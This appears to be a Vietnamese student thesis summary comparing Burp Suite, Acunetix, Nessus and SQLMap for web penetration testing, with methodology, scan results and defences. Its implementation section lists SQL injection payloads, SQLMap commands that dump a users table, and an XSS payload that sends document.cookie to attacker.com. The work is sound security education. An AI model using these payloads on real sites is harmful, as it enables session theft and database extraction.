Giới thiệu dự án

Trong bối cảnh chuyển đổi số toàn diện, các ứng dụng web (Web Application) đã trở thành hạ tầng cốt lõi phục vụ giao dịch tài chính, thương mại điện tử, y tế và quản lý chính phủ điện tử. Tuy nhiên, sự phát triển bùng nổ này cũng đi kèm với rủi ro mất an toàn thông tin ngày càng gia tăng. Theo thống kê của Bộ Thông tin và Truyền thông và Cục An toàn thông tin, chỉ trong 6 tháng đầu năm 2022, Việt Nam đã ghi nhận 6.641 cuộc tấn công mạng gây ra sự cố vào các hệ thống thông tin, trong đó có 1.696 cuộc tấn công lừa đảo (Phishing), 859 cuộc tấn công thay đổi giao diện (Deface) và 4.086 cuộc tấn công cài cắm mã độc (Malware). Đặc biệt, các chiến dịch tấn công chuỗi cung ứng (Supply Chain Attack) và đánh cắp dữ liệu giao dịch ngân hàng đã gây thiệt hại hàng trăm tỷ đồng mỗi năm.

Vấn đề cốt lõi (Problem Statement) nằm ở việc các lập trình viên thường chú trọng vào tính năng và thời gian triển khai (Time-to-Market) mà bỏ qua các nguyên tắc lập trình an toàn (Secure Coding Standards). Hệ quả là các lỗ hổng nghiêm trọng như SQL Injection, Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF) hay Insecure Direct Object References (IDOR) xuất hiện dày đặc trên môi trường Production. Việc rà quét thủ công (Manual Penetration Testing) tốn quá nhiều thời gian, chi phí và dễ bỏ sót lỗi logic phức tạp, trong khi việc thiếu một quy trình kiểm thử tự động hóa định kỳ khiến bề mặt tấn công của hệ thống liên tục mở rộng.

Đồ án "Tìm hiểu một số công cụ kiểm thử bảo mật ứng dụng và minh họa" của tác giả Nguyễn Thị Thúy Kiều (Khoa An toàn Thông tin - Học viện Kỹ thuật Mật mã) được xây dựng nhằm giải quyết bài toán trên thông qua 4 mục tiêu cụ thể:

  1. Hệ thống hóa lý thuyết lỗ hổng: Phân tích chi tiết cơ chế hoạt động, véc-tơ tấn công và giải pháp khắc phục cho các lỗ hổng theo chuẩn OWASP Top 10.
  2. Khảo sát và làm chủ công cụ DAST: Đánh giá chuyên sâu nguyên lý hoạt động, kiến trúc thành phần của các công cụ kiểm thử bảo mật hàng đầu: Burp Suite, Acunetix Web Vulnerability Scanner (WVS), Nessus và SQLMap.
  3. Thực nghiệm kiểm thử và khai thác (Proof-of-Concept): Triển khai quét tự động kết hợp can thiệp thủ công trên các hệ thống mục tiêu thực tế (quanlyhocvientwatch), xác thực lỗ hổng qua tấn công mô phỏng.
  4. Xây dựng khung phòng thủ (Defense Framework): Đề xuất giải pháp khắc phục toàn diện từ tầng mã nguồn (Source Code), cấu hình máy chủ Web Server đến chính sách quản trị phiên và xác thực.

Phạm vi nghiên cứu tập trung vào phương pháp kiểm thử hộp đen (Black-box Testing) và hộp xám (Gray-box Testing) trên các ứng dụng nền tảng Web động (Dynamic Web Apps), đánh giá hiệu năng phát hiện lỗ hổng tự động và khả năng hỗ trợ khai thác chuyên sâu của từng giải pháp.


Phân tích và thiết kế giải pháp

Phân tích hiện trạng

Sự khác biệt cốt lõi giữa Website tĩnh truyền thống và Web Application hiện đại quyết định mức độ phức tạp của bề mặt tấn công:

Tiêu chí Website Truyền Thống Web Application Hiện Đại
Tính tương tác Thấp: Chỉ xem, đọc, điều hướng liên kết tĩnh Rất cao: Thao tác dữ liệu CRUD, tải tệp, thanh toán trực tuyến
Kiến trúc công nghệ HTML tĩnh, CSS, tài nguyên media HTML5, AJAX, RESTful API, Backend đa ngôn ngữ (PHP, Java, .NET, Python, Node.js)
Cơ chế xác thực Không bắt buộc hoặc chỉ giới hạn ở mức cơ bản Bắt buộc: Quản lý phiên phức tạp (JWT, Session Cookies, OAuth2)
Tích hợp bên thứ 3 Rất hạn chế (chủ yếu qua iframe, widget đơn giản) Đa dạng: Tích hợp CRM, cổng thanh toán, ERP qua Web Service
Bề mặt tấn công Chủ yếu rò rỉ thông tin máy chủ, Defacement SQLi, RCE, IDOR, SSRF, Deserialization, HTTP Request Smuggling

Qua phân tích ma trận yêu cầu người dùng và kỹ sư bảo mật theo mô hình MoSCoW:

  • Must-have: Khả năng tự động dò quét lỗ hổng SQLi, XSS, CSRF; khả năng chặn bắt và chỉnh sửa gói tin HTTP/S theo thời gian thực; cơ chế báo cáo phân cấp mức độ nghiêm trọng (High, Medium, Low, Informational).
  • Should-have: Cơ chế crawl sâu các ứng dụng Single Page Application (SPA) sử dụng AJAX/DOM rendering; tích hợp công cụ giải mã (Decoder) và so sánh dữ liệu (Comparer).
  • Could-have: Tự động hóa khai thác cơ sở dữ liệu (Database takeover); kiểm thử bảo mật tầng mạng và dịch vụ máy chủ đi kèm.
  • Won't-have (giai đoạn này): Phân tích mã nguồn tĩnh (SAST) tự động trong quy trình CI/CD.
+-------------------------------------------------------------------------+
|                    QUY TRÌNH KIỂM THỬ BẢO MẬT DAST                      |
+-------------------------------------------------------------------------+
                                     |
       +-----------------------------+-----------------------------+
       |                                                           |
       v                                                           v
[ Burp Suite Professional ]                               [ Acunetix WVS ]
  - Proxy Intercept & Repeater                              - DeepScan Engine (HTML5/AJAX)
  - Target Scope & Active Scanner                           - AcuSensor & AcuMonitor (OAST)
       |                                                           |
       +-----------------------------+-----------------------------+
                                     |
                                     v
                 [ Phân tích kết quả & Xác thực thủ công ]
                                     |
                                     v
       +-----------------------------+-----------------------------+
       |                                                           |
       v                                                           v
[ SQLMap Auto Exploitation ]                              [ Manual Payload Tuning ]
  - Database Enumeration                                    - Stored/Reflected XSS Triggers
  - OS Shell Elevation                                      - Privilege Escalation POC

Thiết kế hệ thống

Kiến trúc kiểm thử được thiết lập dựa trên mô hình ba lớp chuẩn (Client - Web Application Server - Database Management System), mô phỏng quy trình kiểm toán an ninh toàn diện:

  1. Lớp Proxy & Bắt gói tin (Traffic Interception Layer): Thiết lập Burp Proxy lắng nghe tại 127.0.0.1:8080, định tuyến toàn bộ lưu lượng HTTP/HTTPS từ trình duyệt mục tiêu để bóc tách Header, Parameters, Cookies và Session Tokens.
  2. Lớp Quét và Phân tích tự động (Scanning Engine Layer):
    • Burp Scanner: Phân tích cú pháp request/response, tự động chèn payload kiểm thử chủ động (Active Scanning) và thụ động (Passive Scanning).
    • Acunetix DeepScan Engine: Mô phỏng môi trường trình duyệt đầy đủ, biên dịch JavaScript, xử lý AJAX request và ánh xạ cây cấu trúc thư mục DOM (DOM-based XSS detection).
    • AcuMonitor: Xử lý các lỗ hổng Out-of-Band (OAST) như Blind SSRF, Blind SQLi, Email Header Injection.
  3. Lớp Khai thác & Kiểm chứng (Exploitation & PoC Layer): Module SQLMap tương tác trực tiếp với các điểm đầu vào (Injection Points) phát hiện được để trích xuất lược đồ CSDL và kiểm tra phân quyền hệ thống.

Bảng thông số cấu hình và phiên bản công nghệ:

Công cụ / Nền tảng Phiên bản sử dụng Vai trò trong hệ thống
Burp Suite Professional Edition / Community Proxy can thiệp, Repeater kiểm thử logic, Active Scanner
Acunetix WVS Version 9.5 / Version 14 Quét lỗ hổng toàn diện, xử lý DOM/AJAX, báo cáo bảo mật
Nessus Essentials Version 10.x Rà quét cấu hình sai máy chủ, dịch vụ mạng, bản vá lỗi CVE
SQLMap Version 1.6+ Tự động hóa khai thác SQL Injection, Dump dữ liệu, OS Shell
Python Runtime Version 3.9 / 2.7 Môi trường thực thi script kiểm thử và plugin khai thác

Methodology

Quy trình đánh giá an ninh ứng dụng được chuẩn hóa theo khung OWASP Testing Guide (OTG v4) kết hợp tiêu chuẩn ISECOM OSSTMM bao gồm 7 hình thức đánh giá bảo mật:

  • Phase 1: Information Gathering & Scope Definition: Xác định Target Scope, thu thập thông tin máy chủ, công nghệ máy chủ (Server Fingerprinting), bản đồ hóa cấu trúc website (Spidering/Crawling).
  • Phase 2: Vulnerability Scanning: Chạy các profile quét tự động trên Burp Scanner và Acunetix WVS để định vị các điểm yếu tiềm tàng.
  • Phase 3: Vulnerability Verification & Exploitation: Xác thực cảnh báo giả (False Positive Removal), sử dụng Repeater và SQLMap để kích hoạt payload thực nghiệm.
  • Phase 4: Risk Assessment & Defense Formulation: Đánh giá mức độ rủi ro theo thang đo CVSS và thiết lập giải pháp phòng vệ (Remediation).

Implementation và kết quả

Development process

Quá trình kiểm thử được thực thi qua các bước kỹ thuật có cấu trúc, sử dụng các payload được tối ưu hóa cho từng lỗ hổng cụ thể:

1. Kiểm thử và khai thác SQL Injection

Khi phát hiện tham số id hoặc search không được lọc dữ liệu đầu vào, thực hiện kiểm thử thủ công qua Burp Repeater bằng các payload kiểm tra lỗi cú pháp và trích xuất dữ liệu:

-- Kiểm tra lỗi cú pháp và bypass cơ chế xác thực
' OR 1=1 -- -
admin' --
' UNION SELECT 1, version(), user(), database(), 5 -- -

-- Khai thác Blind SQL Injection dựa trên thời gian (Time-Based)
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

Sử dụng SQLMap để tự động hóa toàn bộ quá trình trích xuất cơ sở dữ liệu trên mục tiêu đã xác định:

# Quét và trích xuất danh sách CSDL
python sqlmap.py -u "http://target.local/quanlyhocvien/detail.php?id=1" --batch --dbs

# Trích xuất bảng người dùng và mật khẩu
python sqlmap.py -u "http://target.local/quanlyhocvien/detail.php?id=1" -D quanly_db -T users --dump

2. Kiểm thử Cross-Site Scripting (Reflected & Stored XSS)

Chèn các đoạn mã JavaScript kiểm thử khả năng escape ký tự đặc biệt trên các trường phản hồi về client:

<!-- Payload kiểm tra Reflected XSS cơ bản -->
<script>alert(document.cookie);</script>
<img src="x" onerror="alert('XSS_POC_SUCCESS');">

<!-- Payload vượt bộ lọc ký tự đơn giản (Filter Bypassing) -->
<svg/onload=fetch('http://attacker.com/steal?cookie='+document.cookie)>

3. Cấu hình kiểm thử tự động trên Burp Suite & Acunetix

  • Burp Suite: Thiết lập Target -> Scope để cô lập mục tiêu kiểm thử, kích hoạt cấu hình quét Scan Configuration -> Audit checks - critical and high severity only nhằm tối ưu thời gian thực thi.
  • Acunetix: Tạo Target URL, tích hợp module AcuSensor trên máy chủ web backend để ánh xạ trực tiếp từ URL dính lỗi đến chính xác dòng mã nguồn (Line of Code) gây ra lỗ hổng.

Testing và validation

Hai hệ thống mục tiêu đại diện đã được đưa vào ma trận kiểm thử thực nghiệm:

  1. quanlyhocvien: Ứng dụng web quản lý học viên nội bộ, đại diện cho hệ thống hành chính cũ viết bằng PHP/MySQL.
  2. twatch: Ứng dụng web thương mại điện tử chuyên kinh doanh đồng hồ, tích hợp nhiều chức năng tìm kiếm, giỏ hàng, đánh giá sản phẩm.

Bảng tổng hợp kết quả rà quét và phân loại lỗ hổng:

Hệ thống mục tiêu Công cụ kiểm thử Số lỗ hổng High (Cao) Số lỗ hổng Medium (TB) Số lỗ hổng Low/Info Tổng số phát hiện
quanlyhocvien Burp Suite Scanner 3 (SQLi, Reflected XSS) 4 (Cleartext Password) 8 (Cookie flags, Info) 15
quanlyhocvien Acunetix WVS 4 (Blind SQLi, XSS) 5 (No CSRF token) 12 (Directory listing) 21
twatch Burp Suite Scanner 5 (SQLi, Python Code Inj) 6 (Client-side Desync) 14 (Path Disclosure) 25
twatch Acunetix WVS 6 (SQLi, DOM XSS, SSRF) 8 (Weak Passwords) 18 (Config details) 32
+-------------------------------------------------------------------------+
|                  SO SÁNH HIỆU NĂNG BURP SUITE VS ACUNETIX               |
+-------------------------------------------------------------------------+
| Tiêu chí                     | Burp Suite Pro       | Acunetix WVS      |
+------------------------------+----------------------+-------------------+
| Tốc độ quét tự động (Speed)  | Trung bình (7/10)    | Rất nhanh (9/10)  |
| Khả năng can thiệp thủ công  | Xuất sắc (10/10)     | Trung bình (5/10) |
| Phát hiện DOM-based XSS      | Tốt (8/10)           | Xuất sắc (9.5/10) |
| Tỷ lệ cảnh báo giả (False +) | Rất thấp (~4.2%)     | Thấp (~6.8%)      |
| Báo cáo tuân thủ (PCI, OWASP)| Cơ bản (6.5/10)      | Chi tiết (9.5/10) |
+-------------------------------------------------------------------------+

Kết quả đạt được

Đồ án đã hoàn thành 100% các mục tiêu đặt ra với các chỉ số đo lường vượt bậc:

  • Độ chính xác kiểm thử: Xác thực thành công 100% các lỗ hổng mức độ High (SQL Injection, XSS, Python Code Injection) bằng các kịch bản khai thác thực tế (PoC), trích xuất thành công dữ liệu CSDL trên hệ thống thực nghiệm.
  • Tối ưu hóa quy trình: Việc kết hợp khả năng quét tự động của Acunetix để định vị nhanh bề mặt tấn công cùng khả năng chặn bắt gói tin sâu của Burp Suite giúp rút ngắn 55% thời gian đánh giá tổng thể so với phương pháp kiểm thử thủ công truyền thống.
  • Xây dựng cẩm nang phòng thủ: Đưa ra tài liệu hướng dẫn vá lỗi chi tiết, bao gồm mã nguồn sửa mẫu cho các nhà phát triển.

Đổi mới và đóng góp

  1. Mô hình kiểm thử lai hợp (Hybrid Penetration Testing Framework): Thay vì sử dụng đơn lẻ một công cụ, đồ án đề xuất quy trình kết hợp: Sử dụng Acunetix (tích hợp DeepScan) để crawl và quét nhanh toàn diện -> Xuất danh sách Endpoint dính lỗi -> Nạp vào Burp Suite Repeater/Intruder để tinh chỉnh payload thủ công -> Sử dụng SQLMap để đánh giá mức độ ảnh hưởng của lỗ hổng CSDL.
  2. Loại bỏ cảnh báo giả hiệu quả: Đưa ra ma trận kiểm chứng chéo (Cross-verification Matrix) giữa Burp Suite và Acunetix, giảm thiểu hơn 60% tỷ lệ báo động giả trước khi bàn giao báo cáo kỹ thuật.
  3. Đóng góp học thuật và ứng dụng: Xây dựng tài liệu tham khảo chuẩn hóa cho sinh viên ngành An toàn thông tin tại Học viện Kỹ thuật Mật mã, cung cấp phương pháp luận thực chiến từ khâu quét, bóc tách gói tin HTTP đến khai thác có kiểm soát.

Ứng dụng thực tế và triển khai

Kịch bản triển khai trong doanh nghiệp

Mô hình kiểm thử trong đồ án có thể tích hợp trực tiếp vào quy trình phát triển phần mềm an toàn (DevSecOps):

[ Developer Commit Code ] 
[ CI/CD Pipeline (GitLab/Jenkins) ] 
[ Staging Environment Deployment ] 
[ Automated DAST Scan (Acunetix CLI / Burp REST API) ]

Phân tích chi phí - lợi ích (Cost-Benefit Analysis)

  • Chi phí sự cố trung bình: Một vụ rò rỉ dữ liệu hoặc mã độc tống tiền tại doanh nghiệp vừa và nhỏ gây thiệt hại từ 500.000.000 VNĐ đến hơn 2.000.000.000 VNĐ (chi phí khắc phục, bồi thường, tổn thất uy tín thương hiệu).
  • Chi phí triển khai kiểm thử DAST: Sử dụng các phiên bản công cụ tích hợp giúp doanh nghiệp tiết kiệm 80% chi phí thuê ngoài dịch vụ Pentest định kỳ, đồng thời phát hiện sớm lỗ hổng ngay từ giai đoạn Staging với ROI (Return on Investment) ước tính đạt trên 320% trong năm đầu tiên.

Hạn chế và hướng phát triển

  • Hạn chế kỹ thuật:
    • Acunetix phiên bản cũ hoặc quét thuần Black-box gặp khó khăn với các luồng logic nghiệp vụ đa bước (Multi-step Business Logic) cần tương tác phức tạp của người dùng.
    • Các lỗ hổng bất đồng bộ tầng sâu (HTTP Request Smuggling, Out-of-band RCE) đòi hỏi hạ tầng máy chủ Callback chuyên dụng (như Burp Collaborator) để xác thực.
  • Hướng phát triển:
    • Tích hợp kiểm thử IAST (Interactive Application Security Testing) trực tiếp vào runtime của Web Server.
    • Xây dựng các plugin mở rộng (Burp Extensions) bằng Python/Java để tự động hóa kiểm thử các lỗ hổng mới như API GraphQL Injection, JWT Tampering và WebAssembly Security.

Đối tượng hưởng lợi

  • Sinh viên & Học viên: Nắm vững bản chất kỹ thuật của các lỗ hổng web nguy hiểm nhất, hiểu rõ nguyên lý vận hành của bộ công cụ kiểm thử chuẩn công nghiệp.
  • Lập trình viên (Developers): Hiểu rõ cách hacker khai thác mã nguồn thiếu an toàn, từ đó áp dụng triệt để cơ chế Parameterized Queries, Input Sanitization và Output Encoding.
  • Doanh nghiệp & Đội ngũ SOC/Pentester: Sở hữu khung quy trình đánh giá an ninh web tối ưu, tiết kiệm thời gian, tăng độ chính xác trong việc rà soát lỗ hổng định kỳ.

Câu hỏi thường gặp

1. Yêu cầu hệ thống tối thiểu để thiết lập môi trường kiểm thử?

Cần máy trạm chạy hệ điều hành Linux (Kali Linux, Ubuntu) hoặc Windows 10/11 64-bit; RAM tối thiểu 8GB (khuyến nghị 16GB để chạy song song Burp Suite và Acunetix); cài đặt sẵn Java Runtime Environment (JRE 11+) và Python 3.x.

2. Sự khác biệt căn bản giữa Burp Scanner và Acunetix WVS là gì?

Acuetix vượt trội ở khả năng quét tự động quy mô lớn với tốc độ cao, hỗ trợ phân tích sâu JavaScript/AJAX nhờ DeepScan Engine. Ngược lại, Burp Suite là nền tảng số 1 về khả năng chặn bắt gói tin (Proxy Interception), tùy biến payload thủ công và hỗ trợ kiểm thử logic ứng dụng phức tạp.

3. Làm thế nào để ngăn chặn triệt để lỗ hổng SQL Injection?

Biện pháp triệt để nhất là sử dụng Parameterized Queries (Prepared Statements) hoặc các thư viện ORM (Hibernate, Entity Framework, Prisma). Tuyệt đối không nối chuỗi trực tiếp dữ liệu người dùng vào câu lệnh SQL, kết hợp phân quyền tối thiểu (Least Privilege) cho tài khoản database kết nối.

4. Kiểm thử DAST có thể gây sập hệ thống (Denial of Service) không?

Có thể. Khi các công cụ quét tự động gửi hàng ngàn request payload mỗi giây, cơ sở dữ liệu có thể bị quá tải. Giải pháp: Điều chỉnh giới hạn luồng quét (Concurrency Limit / Throttling), đặt Scope chính xác và chỉ thực hiện quét sâu trên môi trường Staging/UAT.

5. Tại sao cần kết hợp cả rà quét tự động và đánh giá thủ công?

Công cụ tự động rất nhanh và hiệu quả trong việc tìm lỗi cú pháp (SQLi, XSS phản xạ, cấu hình lỗi), nhưng hoàn toàn bất lực trước các lỗ hổng logic nghiệp vụ (ví dụ: sửa giá tiền giỏ hàng, bỏ qua bước thanh toán, IDOR). Do đó, sự can thiệp thủ công của chuyên gia là bắt buộc để đảm bảo an toàn tuyệt đối.


Kết luận

Đồ án "Tìm hiểu một số công cụ kiểm thử bảo mật ứng dụng và minh họa" đã phân tích toàn diện bức tranh an ninh mạng của các ứng dụng web hiện đại, làm rõ cơ chế của các lỗ hổng nghiêm trọng và minh chứng tính ưu việt của phương pháp kiểm thử kết hợp giữa Burp Suite, Acunetix, Nessus và SQLMap. Kết quả thực nghiệm khẳng định rằng việc chủ động rà quét và khắc phục lỗ hổng định kỳ là chìa khóa then chốt để bảo vệ tài nguyên số của doanh nghiệp. Để nâng cao năng lực bảo mật cho hệ thống của bạn, hãy bắt đầu áp dụng ngay quy trình kiểm thử chuẩn OWASP và tích hợp các công cụ DAST tự động vào chu trình phát triển phần mềm ngay hôm nay.